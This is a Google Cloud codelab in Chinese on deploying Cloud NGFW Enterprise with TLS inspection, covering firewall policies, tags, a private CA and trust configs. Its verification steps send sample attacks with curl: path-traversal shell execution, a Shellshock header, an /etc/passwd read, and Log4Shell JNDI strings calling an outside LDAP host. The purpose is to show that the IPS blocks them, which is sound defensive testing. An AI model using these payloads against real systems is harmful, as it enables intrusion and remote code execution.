Cloud NGFW Enterprise 程式碼研究室 [與 TLS 檢查]

1. 簡介

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall 是完全分散式防火牆服務,提供進階保護和微區隔功能,而且涵蓋範圍相當廣,可保護 Google Cloud 工作負載不受內外部攻擊。

Cloud NGFW 具備下列優勢:

  • 分散式防火牆服務:Cloud NGFW 針對各個工作負載,提供有狀態、完全分散式的主機型強制執行機制,實現零信任安全架構。
  • 簡化設定和部署作業:Cloud NGFW 實作的網路和階層式防火牆政策,可附加至資源階層節點。這些政策可在整個 Google Cloud 資源階層中,提供一致的防火牆體驗。
  • 精細控管和微區隔:防火牆政策與 Identity and Access Management (IAM) 控管的標記搭配使用,可跨虛擬私有雲 (VPC) 網路和組織,針對單一 VM 定義南北向與東西向流量的精細控管機制。

Cloud NGFW 提供下列級別:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise 在分散式 Google Cloud 防火牆架構中,新增入侵預防服務 (IPS) 和選用的進階惡意軟體沙箱 (WildFire) 功能,這些都是第 7 層檢查服務。支援 TLS 檢查,可對 TLS 加密流量進行深度檢查和檔案分析。

您現在可以部署可靠的第 7 層新一代防火牆 (NGFW) 檢查,並使用精細的控制項,無須變更網路架構或轉送設定。

如要啟用及部署具備入侵預防系統 (IPS) 和選用進階惡意軟體沙箱的第 7 層防火牆控制項,請執行下列工作:

  • 建立一組 Google Cloud 代管可用區防火牆端點 (可選擇啟用進階惡意軟體沙箱)。
  • 視需要建立 TLS 檢查政策。
  • (選用) 建立信任設定。
  • 將這些端點與需要 Cloud NGFW Enterprise 服務的虛擬私有雲 (VPC) 網路建立關聯。
  • 只要對現有防火牆政策和防火牆規則進行簡單變更,即可為各種流量路徑指定威脅防護和選用的進階惡意軟體沙箱安全設定檔。

網路防火牆政策

網路防火牆政策是防火牆規則的容器,防火牆政策中定義的規則,必須在政策與虛擬私有雲網路建立關聯後,才會在該網路中強制執行。每個 VPC 網路只能連結一項網路防火牆政策。網路防火牆政策的防火牆規則支援 IAM 控管的標記 (簡稱標記),可取代現有網路標記,並為工作負載提供身分。

跨網路共用網路防火牆政策,並整合 IAM 控管的標記,可大幅簡化防火牆的設定和管理作業。

隨著網路防火牆政策的推出,Google Cloud 的防火牆政策現在包含下列元件:

  1. 階層式防火牆政策
  2. 虛擬私有雲防火牆規則
  3. 網路防火牆政策 ( 全域和區域)

階層式防火牆政策支援資源階層中的組織和資料夾節點,而虛擬私有雲防火牆規則和網路防火牆政策則套用至虛擬私有雲層級。VPC 防火牆規則與網路防火牆政策的主要差異,在於前者只能套用至單一 VPC 網路,後者則可附加至單一或一組 VPC 網路,且具備批次更新等其他優點。

最後,每個虛擬私有雲網路都設有默示防火牆規則:

  • 輸出規則,動作為允許,目的地為 0.0.0.0/0
  • 動作為拒絕、來源為 0.0.0.0/0 的輸入規則

根據預設,強制執行順序如下圖所示:

21b3bcabc469ffe.png

請注意,VPC 防火牆規則和全域網路防火牆政策的強制執行順序可以互換。客戶隨時都能使用 gcloud 指令指定強制執行順序。

標記

新的標記已整合至網路防火牆政策規則,是 Google Cloud 資源階層中組織或專案層級定義的鍵/值組合資源。這類標記包含 IAM 存取控管機制,可指定哪些人能對標記執行何種操作。舉例來說,Identity and Access Management (IAM) 權限可讓您指定哪些主體能將值指派給標記,以及哪些主體能將標記附加至資源。如果網路防火牆規則參照標記,則必須將標記套用至資源,才能強制執行。

標記依循 Google Cloud 的繼承資源模型,也就是標記及其值會從上層向下傳遞至整個階層。因此,標記可以在一處建立,然後由資源階層中的其他資料夾和專案使用。如要進一步瞭解標記和存取權限制,請參閱這個頁面。

請勿將標記與網路標記混淆。後者是可以新增至 Compute Engine 執行個體的字串,與執行個體相關聯,並在執行個體停用時消失。VPC 防火牆規則可能包含網路標記,但這類標記不屬於雲端資源,因此不受 IAM 存取權控管。

請注意,本文件會交替使用「標記」和「受 IAM 控管的標記」這兩個詞。

建構項目

本程式碼實驗室需要單一專案,且您必須能建立虛擬私有雲網路,以及管理多項網路和安全性資源。本實驗室會示範 Cloud NGFW Enterprise 如何提供入侵預防系統 (IPS) 和進階惡意軟體沙箱 (WildFire) 功能,具體做法如下:

  • 使用 TLS 檢查功能檢查北向網際網路流量
  • 使用 TLS 檢查功能檢查虛擬私有雲內部流量 (東西向)
  • [選用] 設定及驗證進階惡意軟體沙箱檔案提交和鑑識功能,針對經 TLS 檢查的流量,防範不明檔案型威脅

系統會使用 Cloud Firewall 比對參數 (包括 5 元組和標記),選取要檢查的流量。5 元組包含來源 IP、目的地 IP、通訊協定、來源通訊埠和目的地通訊埠。

3d0f288d3b92a295.png

網路防火牆政策規則庫的最終狀態會與下表類似:

Priority

方向

目標

資料來源

目標位置

動作

類型

100

輸入

Server_Tag

健康狀態檢查

不限

允許

Essentials

200

輸入

Client_Tag, Server_Tag

IAP

不限

允許

Essentials

800

輸入

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 檢查

Enterprise

850

輸出

Client_Tag

不限

10.0.0.0/24

允許

Essentials

900

輸出

Client_Tag

不限

不限

L7 檢查

Enterprise

課程內容

  • 如何建立網路防火牆政策。
  • 如何建立標記,並搭配網路防火牆政策使用。
  • 如何設定及使用 Cloud NGFW Enterprise (含 TLS 檢查)。
  • [選用] 如何設定及驗證進階惡意軟體沙箱 (WildFire),防範未知的檔案威脅。

軟硬體需求

  • Google Cloud 專案。
  • 瞭解如何部署執行個體及設定網路元件。
  • 虛擬私有雲防火牆設定知識。

2. 事前準備

建立/更新變數

本程式碼實驗室會使用 $variables,協助在 Cloud Shell 中實作 gcloud 設定。

在 Cloud Shell 執行下列指令,並視需要替換括號內的資訊:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. 啟用 API

如果尚未啟用 API,請先啟用:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. 建立 Cloud NGFW Enterprise 端點

建立 Cloud NGFW Enterprise 端點約需 20 分鐘,因此會先建立,並在建立端點時同步完成基本設定。

建立安全性設定檔和安全性設定檔群組:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

預期輸出內容:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

確認資源已成功建立:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

預期輸出內容 (請注意,輸出格式可能會因使用的用戶端而異):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

建立 Cloud NGFW Enterprise 端點:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

執行下列指令,確認端點正在建立 (CREATING),或確認端點為 ACTIVE (如果您使用 --no-async)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

預期輸出內容 (請注意,輸出格式可能因使用的用戶端而異):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

您也可以執行下列指令,取得更多詳細資料:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

預期輸出內容:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

建立程序大約需要 20 分鐘。請前往「基本設定」部分,同時建立所需資源。

5. 基本設定

虛擬私有雲網路和子網路

虛擬私有雲網路和子網路

建立虛擬私有雲網路和子網路:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

建立 Cloud Router 和 Cloud NAT 閘道:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

執行個體

建立用戶端和網路伺服器執行個體:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

專案層級標記

視需要將 tagAdmin 權限指派給使用者:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

建立專案層級的標記鍵和值:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

將標記繫結至執行個體:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

全域網路防火牆政策

建立全域網路防火牆政策:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

建立必要的 Cloud Firewall Essential 規則,允許來自健康狀態檢查和 Identity-Aware Proxy 範圍的流量:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

建立必要的 Cloud Firewall 規則,允許來自特定範圍的輸入東西向/子網路內流量 (這些規則會更新,以啟用 Cloud NGFW Enterprise 和 TLS 檢查功能):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

將 Cloud 防火牆政策與虛擬私有雲網路建立關聯:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud Firewall 端點關聯

如果您尚未定義環境變數,且/或偏好指令碼方法,請定義環境變數。

確認 Cloud Firewall 端點已成功建立。請等到狀態顯示為「ACTIVE」時再繼續操作 (建立期間的預期狀態為「CREATING」):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

預期輸出內容 (請注意,輸出格式可能因使用的用戶端而異):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

您也可以執行下列指令,取得更多詳細資料:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

預期輸出內容:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

將 Cloud Firewall 端點與虛擬私有雲網路建立關聯:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

連結程序約需 10 分鐘。狀態顯示為「ACTIVE」時,再前往 TLS 部分 (建立期間,預期狀態為「CREATING」):

gcloud network-security firewall-endpoint-associations list

完成後的預期輸出內容:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

您也可以執行下列指令,取得更多詳細資料:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

預期輸出內容:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. 設定 TLS 資源

建立 CA 集區。這項資源會用來存放我們為 NGFW Enterprise 產生的根 CA 憑證。

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

建立根 CA。這個 CA 憑證會用於簽署其他憑證,以便透過 NGFW Enterprise 提出要求。

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

如果看到以下訊息,請輸入 y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

建立服務帳戶。這個服務帳戶將用於要求 NGFW Enterprise 的憑證:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

設定服務帳戶的 IAM 權限:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

建立 TLS 政策 YAML 檔案。這個檔案會包含特定資源的相關資訊:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

匯入 TLS 檢查政策:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

更新端點關聯以啟用 TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

取得 CA 憑證,並新增至用戶端的 CA 存放區:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

將 CA 憑證轉移至用戶端:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

透過 SSH 連線至 VM,將 CA 憑證移至 /usr/local/share/ca-certificates,然後更新 CA 存放區:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

退出並返回 Cloud Shell。

伺服器憑證簽署程序:

在 Cloud Shell 中,使用 pip 指令安裝 Pyca 密碼編譯程式庫:

pip install --user "cryptography>=2.2.0"

如要允許 Google Cloud SDK 使用 Pyca 密碼編譯程式庫,您必須啟用網站套件。

export CLOUDSDK_PYTHON_SITEPACKAGES=1

建立伺服器憑證:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

這會在 Cloud Shell 中產生 cert.pem 和 key.pem 檔案。接著,將憑證和金鑰轉移至伺服器。

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

透過 SSH 登入伺服器,更新 Apache 的憑證詳細資料:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

將憑證和金鑰移至特定資料夾:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

更新 SSL 設定,改用已簽署的憑證:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

重新啟動 Apache:

sudo systemctl restart apache2

驗證 Apache 狀態:

sudo systemctl status apache2

應處於啟用 (執行中) 狀態。

退出 VM,並在 Cloud Shell 繼續操作。

8. 驗證北向和東西向連線

在 Cloud Shell 執行下列指令,並記下要使用的目標 IP:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

開啟新分頁,並透過 IAP 啟動與用戶端 VM 的 SSH 連線 (您必須在新分頁中定義變數):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

執行下列指令,並記下要使用的目標 IP。建立變數,將括號內的值替換為上一步記下的 IP,並確認這些 IP 可連線:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

對私人 IP 執行 curl 指令,確認可以連線:

curl https://$target_privateip --max-time 2

curl 要求的預期結果:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

傳送攻擊範例至 IP。網路伺服器應回應所有要求,確認沒有 L7 檢查/防護機制:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

預期結果範例 (私人 IP):

400
404
400
200
200

同樣地,將要求傳送至網際網路目的地:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

預期結果範例 (網際網路目的地):

400
404
400
403
403

退出 VM 終端機,返回 Cloud Shell。

9. 建立及更新 TLS 檢查的防火牆規則

先前我們設定了防火牆規則,允許從內部子網路傳入伺服器的輸入流量。現在我們要更新現有的輸入規則,並將動作設為 apply_security_profile_group。這會啟用 E/W L7 檢查和 TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

建立新規則,使用 TLS 檢查北向 L7 流量。

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

建立新規則,允許 E/W 的 egress 流量,避免重複檢查。

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. 驗證北向 TLS 檢查

切換回用戶端 VM 分頁,或再次連線:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

將攻擊範例傳送至網際網路目的地:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

您應該不會收到任何回應,如下方的預期輸出內容所示,這表示範例攻擊已遭到封鎖:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

將變數設為先前的伺服器 IP:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

傳送 TLS 要求範例至伺服器:

curl https://$target_privateip --max-time 2

預期輸出內容:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

為什麼這項要求失敗?這是因為防火牆從伺服器收到的憑證不受信任。如果發生這種情況,系統會將自行簽署的憑證傳回用戶端。我們需要將 CA 憑證新增為信任設定的一部分,才能啟用信任。

返回 Cloud Shell。

11. 設定信任設定

取得根 CA 憑證,並將其設為格式正確的變數。

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

設定信任設定 YAML 檔案。這個檔案包含 CA 憑證等信任詳細資料:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

上述指令包含根 CA 憑證,做為信任存放區的一部分,因為伺服器憑證是使用根 CA 簽署。也就是說,如果 TLS 政策將 excludePublicCaSet 設為 false,防火牆除了信任公開 CA 簽署的憑證,也會信任根 CA 簽署的憑證。

檢查信任設定的內容。

cat trust_config.yaml 

輸出範例:

請特別注意憑證的縮排對齊方式。必須完全符合這個格式。

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

匯入信任設定:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

更新 TLS 政策 YAML 檔案,加入信任設定:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

匯入更新後的 TLS 政策:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. 驗證 E/W TLS 檢查

透過 SSH 重新連線至用戶端,使用更新後的信任設定測試東西向流量:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

對伺服器執行範例 TLS 要求:

curl https://$target_privateip --max-time 2

如果仍看到下列輸出內容,請等待更新內容傳播。

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

預期輸出內容:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

將惡意測試流量傳送至伺服器:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

預期輸出內容:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
